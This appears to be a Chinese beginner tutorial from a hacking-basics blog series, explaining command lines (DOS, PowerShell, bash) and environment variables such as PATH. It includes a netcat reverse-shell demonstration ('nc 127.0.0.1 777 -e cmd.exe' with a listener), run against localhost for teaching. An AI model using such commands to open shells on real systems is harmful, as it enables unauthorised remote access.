黑客基础术语:什么是命令行和环境变量?

在学习这个系列之前,请自行准备一台Windows10的电脑和一台Kali Linux虚拟机,如果你不会安装Kali Linux虚拟机也不要紧,先看会你懂的就行;

 

一、“命令行”详解

我们第一个黑客基础术语是命令行。命令行的话有很多种,像Dos下的命令行,Linux下的Bash,黑客溢出反弹之后得到的界面,英文一般会把它们统一称为shell,我们一一来解释下。

 

Dos是磁盘操作系统的缩写,是个人计算机上的一类操作系统。从1981年直到1995年的15年间,磁盘操作系统在IBM PC兼容机市场中占有举足轻重的地位。而且,若是把部分以DOS为基础的Microsoft Windows版本,如Windows 95、Windows 98和Windows Me等都算进去的话,那么其商业寿命至少可以算到2000年。微软的所有后续版本中,磁盘操作系统被淘汰了,但是做为它的外壳界面,命令行却保留了下来。

 

在WIN10系统下按下WIN+X键,就可以打开命令行界面了。WIN+X

 

你打开的命令行界面,其实是运行了DOS下的一个命令cmd.exe,供你输入DOS下其它命令给系统的。你在命令界面里再输入一次cmd.exe,仍然会出现一个命令行界面。cmd.exe

 

我们再用黑客界的瑞士军刀来做一次反弹模拟:

用命令:nc -vvlp 777 来监听本机的777端口,那么你再开一个命令行窗口,执行命令:nc 127.0.0.1 777 -e cmd.exe,那么原来监听的界面里就会出现命令行界面了,在黑客界这种命令行一般被人称作shell。

nc -vvlp 777

nc 127.0.0.1 777 -e cmd.exe

 

命令行程序微软从来没有放弃过,一直在升级。而且每次升级WINdows,微软几乎都会增加几个DOS小命令。我们普通人可能不常用,但是在IT维护人员或系统管理员手上,DOS命令是必须要会的。

POWERSHELL虽然是一门编程语言,但是从它的命名,你就可以看出微软的野心。power shell,超级SHELL,意思类似超级DOS。DOS和POWESHELL算是一个继承和连接。

你在命令行界面里直接输入powershell,就会进入powershell界面。powershell

 

其实再严格一点讲,命令行(shell)在IT界一般专指Linux的命令行了。

Linux命令行更是小程序繁多,参数也多,甚至还能有强大的编程命令(bash)支持。shell是一种通用说法,bash是shell的一种实例。你在Kali下打开终端,就是打开了Linux的命令行。bash

 

无论是DOS还是LINUX,命令行命令都是分内部命令和外部命令的。

在DOS下,如果找不到这个exe,你却能运行它,像dir,那么就是内部命令;能找到的exe就是外部命令了。

在LIINUX下可以用enable -a来列出所有内部命令:enable -a

 

enable 也能判断出哪个命令是非内部命令:不是shell内建

 

二、什么是环境变量?

环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。

比如说环境变量中的“Path”就是一个变量,里面存储了一些常用命令所存放的目录路径。我在以前的文章中让你安装过python,安装完毕之后在不同目录下都可以调用python命令,这就是环境变量里的path在起作用。

 

如果要查看本机的环境变量,你可以在命令行打下set命令:查看本机的环境变量set命令

 

在set命令里的每个变量都可以用%符号加在前后,然后用echo命令里显示出来。

举个例子,像echo %ALLUSERSPROFILE%echo %ALLUSERSPROFILE%

你也可以在WIN10“系统属性”那儿来设置环境变量,用图形界面来改动环境变量。windows10系统属性环境变量

 

环境变量分用户环境变量和系统环境变量的。

用户环境变量改动只对当前用户有用,系统环境变量改动对所有用户都起作用。但是改动了环境变量之后,一定要重启机器,新设置的环境变量才起作用。

 

再举一个例子来说明临时环境变量,我在这里假设你机器装有python2.7,装在c:/python2.7,你还装有sqlmap,装在d:/sqlmap

 

1、如果python没有给你机器自动配置好环境变量,你全路径调用就要执行c:/python27/python.exe d:/sqlmap/sqlmap.py,但是实在是不方便了,要打很长的命令,其实为什么不用DOS下的path命令呢?

 

2、系统没有配置好,你可以自己选建一个临时环境变量呀。

命令如下:

path=c:/python27;d:/sqlmap

 

3、然后直接运行 sqlmap.py 就能执行了。但是这样做需要每次先手动执行一次path命令。临时环境变量

 

总结:

环境变量有可能会遭到黑客的巧妙利用,可以用来提权。我以前写过一篇文章《黑客渗透如何“巧妙利用环境变量”来提权?》,你可以看下是如何遭到黑客们利用的。

黑客基础术语这个系列,真的是完全给0基础的想学黑客的小白准备的了,如果你再学不会,哪你就放弃黑客之路吧。

头像
  • ¥ 99.0元
  • 市场价:99.0元
  • ¥ 45.0元
  • 市场价:45.0元
  • ¥ 69.0元
  • 市场价:69.0元
  • ¥ 6.8元
  • 市场价:8.8元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: